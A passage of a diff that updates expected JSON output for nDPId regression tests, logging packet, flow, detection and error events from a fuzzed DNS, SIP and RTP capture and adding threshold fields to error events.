00403{"packet_event_id":1,"packet_event_name":"packet","packet_id":612,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470971822331,"pkt":"ADBUADRWAODtAW69CABFAGVIa\/AAAIARS2HAqAECwKgBAQr+ADUANOrBPwUBAAABAAAACAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00569{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":2,"flow_src_last_pkt_time":1120470975858171,"flow_dst_last_pkt_time":1120470966852771,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470975858171,"pkt":"ADBUADRWAODtAW69CABFAABIa\/IAAIARS1\/AqAECwKgBAQr+ADUANOrBPwUBAAABAAAAAAAABF9zaWIEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01144{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":614,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":228,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":0,"flow_first_seen":1120470966852771,"flow_src_last_pkt_time":1120470975858171,"flow_dst_last_pkt_time":1120470966852771,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":88,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470975858171,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2814,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sib._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} @@ -1757,7 +1757,7 @@ 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":615,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":230,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470983860327,"flow_src_last_pkt_time":1120470983860327,"flow_dst_last_pkt_time":1120470983860327,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470983860327,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2815,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00565{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_src_last_pkt_time":1120470983860327,"flow_dst_last_pkt_time":1120470983860327,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"thread_ts_usec":1120470983860327,"pkt":"ADBUADRWAODtAW69CABFAABEa\/cAAIARS17AqAECwKgBAQr\/ADUAMJu6iQWqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 01114{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":615,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":230,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470983860327,"flow_src_last_pkt_time":1120470983860327,"flow_dst_last_pkt_time":1120470983860327,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470983860327,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2815,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17": {"risk":"Malformed Packet","severity":"Low","risk_score": {"total":260,"client":130,"server":130}}},"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"","dns": {"num_queries":170,"num_answers":254,"reply_code":10,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":616,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470983861836} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470983861836,"packet_id":616,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":71,"global_ts_usec":1120470983861836} 00428{"packet_event_id":1,"packet_event_name":"packet","packet_id":616,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"thread_ts_usec":1120470983860327,"pkt":"AODtam69ADBUADRWCABFAABLAABcAEARtz7AqAEBhagBAgA1Cv8AR342iQWAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":618,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":231,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470983999111,"flow_src_last_pkt_time":1120470983999111,"flow_dst_last_pkt_time":1120470983999111,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470983999111,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2816,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00568{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_src_last_pkt_time":1120470983999111,"flow_dst_last_pkt_time":1120470983999111,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470983999111,"pkt":"ADBUADRWAODtAW69CABFAABIa\/kAAIARS1jAqAECwKgBAQsAADUANFW+1AYBAAABAAAAAAAABOxzaXAEX3VkcANzaHAJY3liZXJjaXR5AmRrAAAhAAE="} @@ -1784,11 +1784,11 @@ 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":632,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":237,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470985511036,"flow_src_last_pkt_time":1120470985511036,"flow_dst_last_pkt_time":1120470985511036,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":172,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":172,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":172,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470985511036,"l3_proto":"ip4","src_ip":"81.168.1.2","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00746{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_src_last_pkt_time":1120470985511036,"flow_dst_last_pkt_time":1120470985511036,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"thread_ts_usec":1120470985511036,"pkt":"ADBUADRWAODtAb+9CABFAADIbAQAAIARFm9RqAEC1PIhJHUwncgAtIfqgAhvtgAACdg3lstxlpDplp2cmZ6fkpaRle3n9PTy\/CVzAJKehIeEmJGRl52QlJaX6OOU6JaRlp2cn4WEhZ2RkJeV6WOQnZ6EhJOFh4WFmYWYk7+dkpCQ6u\/qkZ2fmYSYnZ6Rk5OU7OD6+Pbh4PTl+OTo6unl9eXi7f7c1VT\/+uiX6JSUkJCV7uXm\/Obu7pWWkZeW7OPpk5Ofm5+Yk5WV7untlJeSkpeV7+qWkA=="} 00876{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":632,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":237,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120470985511036,"flow_src_last_pkt_time":1120470985511036,"flow_dst_last_pkt_time":1120470985511036,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":172,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":172,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":172,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470985511036,"l3_proto":"ip4","src_ip":"81.168.1.2","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"RTP","proto_id":"87","encrypted":0,"breed":"Acceptable","category_id":1,"category":"Media"}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":633,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":20992,"global_ts_usec":1120470986363611} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470986363611,"packet_id":633,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","layer_type":20992,"global_ts_usec":1120470986363611} 00485{"packet_event_id":1,"packet_event_name":"packet","packet_id":633,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":146,"pkt_type":20992,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"thread_ts_usec":1120470985511036,"pkt":"ADBUADRWAODtAW69UgBFAACEbAVoAIARFqPAqAEC9PIhJHUxnckAcCyBgMgABjeWy3FCyQfKXvrGAwAAJMMAAAAJAAAGDIHKAAs3lstxAR0xMTg5NDI5Ny00NDMyYTlmOEAxOTIuMTY4LjEuMgYFU0lQUFMAAIHLAAY3lstxEHNlc3Npb24gc2h1dGRvd24AAAE="} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":3,"flow_src_last_pkt_time":1120470987237142,"flow_dst_last_pkt_time":1120470983999111,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120470987237142,"pkt":"ADBUADRWAODtAW69CABFAABIbAYAAIARS0vAqAECwKgBAQsAADUANFW+1AYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaVR5AmRrAAAhAAE="} 01025{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":634,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":231,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470983999111,"flow_src_last_pkt_time":1120470987237142,"flow_dst_last_pkt_time":1120470983999111,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470987237142,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2816,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":635,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470989238019} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120470989238019,"packet_id":635,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120470989238019} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":635,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120470987237142,"pkt":"ADBUADRWAODtAW69CABFAABIbAdtAIARS07AqAECwKgBAQsAADUANFW+1AYBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaVN5AmRrAAAhAAE="} 00911{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":197,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1120470796801135,"flow_src_last_pkt_time":1120470796801135,"flow_dst_last_pkt_time":1120470796802602,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":63,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":63,"midstream":0,"thread_ts_usec":1120470993243427,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2797,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00768{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":637,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":199,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120470798172728,"flow_src_last_pkt_time":1120470806184239,"flow_dst_last_pkt_time":1120470798172728,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120470993243427,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1799,13 +1799,13 @@ 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":639,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":239,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471001263229,"flow_src_last_pkt_time":1120471001263229,"flow_dst_last_pkt_time":1120471001263229,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":464,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":464,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":464,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471001263229,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.234.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01131{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":639,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":239,"flow_packet_id":1,"flow_src_last_pkt_time":1120471001263229,"flow_dst_last_pkt_time":1120471001263229,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":506,"pkt_l4_len":472,"thread_ts_usec":1120471001263229,"pkt":"ADBUADRWAODtAW69CABFAAHsbDsAAIARFQbAqAEC1OohIxPEE8QB2K3LUkVHSVNURVIgc2lwOnNpcC5jeWJlcmNpdHkuZGsgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxOTIuMTY4LjEuMjticmFuY2g9ejloRzRiS25wODg4NjAxNi00NGIxNGZlMzE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiA8c2lwOjM1MTA0NzIzQHNpcC5jeWJlcmNpdHkuZGs+O3RhZz04Nzk3MWENClRvOiA8c2lwOjM1MTA0NzIzQHNpcC5jeWJlcmNpdHkuZGs+DQpDYWxsLUlEOiAyOTg1ODFHNy00NjViMDc1MkAyOTg1ODA1MS00NjViMDdiMnMKQ29udGFjdDogcGVsIDxzaXA6MzUxMDQ3MjNAMTkyLjE2OC4xLjI6NTA2MDtsaW5lPTdkMzY1NThmMzEzNjcwNTE+O2V4cGlyZXM9MTIwMDtxBDAuNTAwDQpFeHBpcmVzOiAxMjAwDQpDU2VxOiA1IFJFR0lTVEVSDQpD\/G50ZW50LUxlbmd0aDogMA0KTWF4LUZvcndhYmRzOiA3MA0KVXNlci1BZ2VudDoiTmVybyBTSVBQUyBJUCBQaG9uZSBWZXJzaW9uIDIuOC41MS4xNg0KDQo="} 00876{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":639,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":239,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471001263229,"flow_src_last_pkt_time":1120471001263229,"flow_dst_last_pkt_time":1120471001263229,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":464,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":464,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":464,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471001263229,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.234.33.35","src_port":5060,"dst_port":5060,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"SIP","proto_id":"100","encrypted":0,"breed":"Acceptable","category_id":10,"category":"VoIP"}} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":640,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":488,"global_ts_usec":1120471001405003} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120471001405003,"packet_id":640,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":488,"global_ts_usec":1120471001405003} 00984{"packet_event_id":1,"packet_event_name":"packet","packet_id":640,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":522,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":522,"pkt_l4_len":0,"thread_ts_usec":1120471001263229,"pkt":"AODtAW69ADBUADRWCABFAEH8AABAADcRijHU8iEjwKgBAhPEE8QB6DHXU0lQLzIuMCA0MDEgVW5hdXRob3JpemVkDQpDYWxsLUlEOiAyOTg1ODE0N4M0NjViMDc1MkAyMTg1ODA1MS00NjViMDdiMg0KQ1MxcTogNSBSRUdJU1RFXw0KRnJvbTogWnNpcDozNTEwNDcyM0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9ODc5NzFhDQpUbzpqPHNpcDozNTEwNDcyM0BzaXAuY3liZXJjaXR5LmRrPjt0YWc9MDAtMDQwNzQtMTcwMWJhYzktMWRhYTBiNGM1DQpWaWE6IFNJJXMALjAvVURQIDE5Mi4xNjguMS4yO3JlY2VpdmVkPTgwLjIzMC4yMTkuNzA7cnBvcnQ9NTA2MDticmFuY2g9ejloRzRiS25wODg4NjAxNi00NGIxNGZlMzE5Mi4xNjguMS4yDQpXV1ctQXV0aGVudGljYXRlOiBEaWdlc3QgcmVhbG09InNpcC5jeWJlcmNpdHkuZGsiLG5vbmNlPSIxNzAxYmFiZDJhZDY3JXMANWU2ZDZiZjE1NDQyYSVzACxvcGFxdWU9IjE3MDFhMTM1MWY3MDc5NSIsc3RhbGU9ZmFsc2UsYWxnb3JpdGhtPU1ENQ0KQ29udGVuLy1MZW5ndGg6IDANCg0K"} 00766{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":641,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":240,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471001714162,"flow_src_last_pkt_time":1120471001714162,"flow_dst_last_pkt_time":1120471001714162,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471001714162,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2823,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":641,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":1,"flow_src_last_pkt_time":1120471001714162,"flow_dst_last_pkt_time":1120471001714162,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471001714162,"pkt":"ADBUADRWAODtAW69CABFAABIbDwAAIARSxXAqAECwKgBAQsHADUANKe0ggkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 01016{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":641,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":240,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471001714162,"flow_src_last_pkt_time":1120471001714162,"flow_dst_last_pkt_time":1120471001714162,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471001714162,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2823,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":642,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":2,"flow_src_last_pkt_time":1120471002706801,"flow_dst_last_pkt_time":1120471001714162,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471002706801,"pkt":"ADBUADRWAODtAW69CABFAABIbD8gAIARSxTAqAECwKgBAQsHADUANKe0gjgBAAABAAAAAAAABF9zaXAEXXVkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} -00219{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":643,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120471004709848} +00319{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1120471004709848,"packet_id":643,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1120471004709848} 00402{"packet_event_id":1,"packet_event_name":"packet","packet_id":643,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1120471002706801,"pkt":"ALlUADRWAODtAW69CABFAABIbD4Au4ARSxNYqAECwKgBAQsHADUANKe0ggkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} 00567{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":240,"flow_packet_id":3,"flow_src_last_pkt_time":1120471006712546,"flow_dst_last_pkt_time":1120471001714162,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"thread_ts_usec":1120471006712546,"pkt":"ADBUADRWAODtAW69CABFAABIbEcAAIARSwrAqAECwKgBAQsHADUANKe0ggkBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAApAAE="} 01025{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":644,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":240,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":0,"flow_first_seen":1120471001714162,"flow_src_last_pkt_time":1120471006712546,"flow_dst_last_pkt_time":1120471001714162,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":132,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471006712546,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2823,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"_sip._udp.sip.cybercity.dk","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":41,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} @@ -1840,7 +1840,7 @@ 01012{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":646,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":241,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1120471018720186,"flow_src_last_pkt_time":1120471018720186,"flow_dst_last_pkt_time":1120471018720186,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1120471018720186,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2824,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"1.0.0.127.in-addr.arpa","dns": 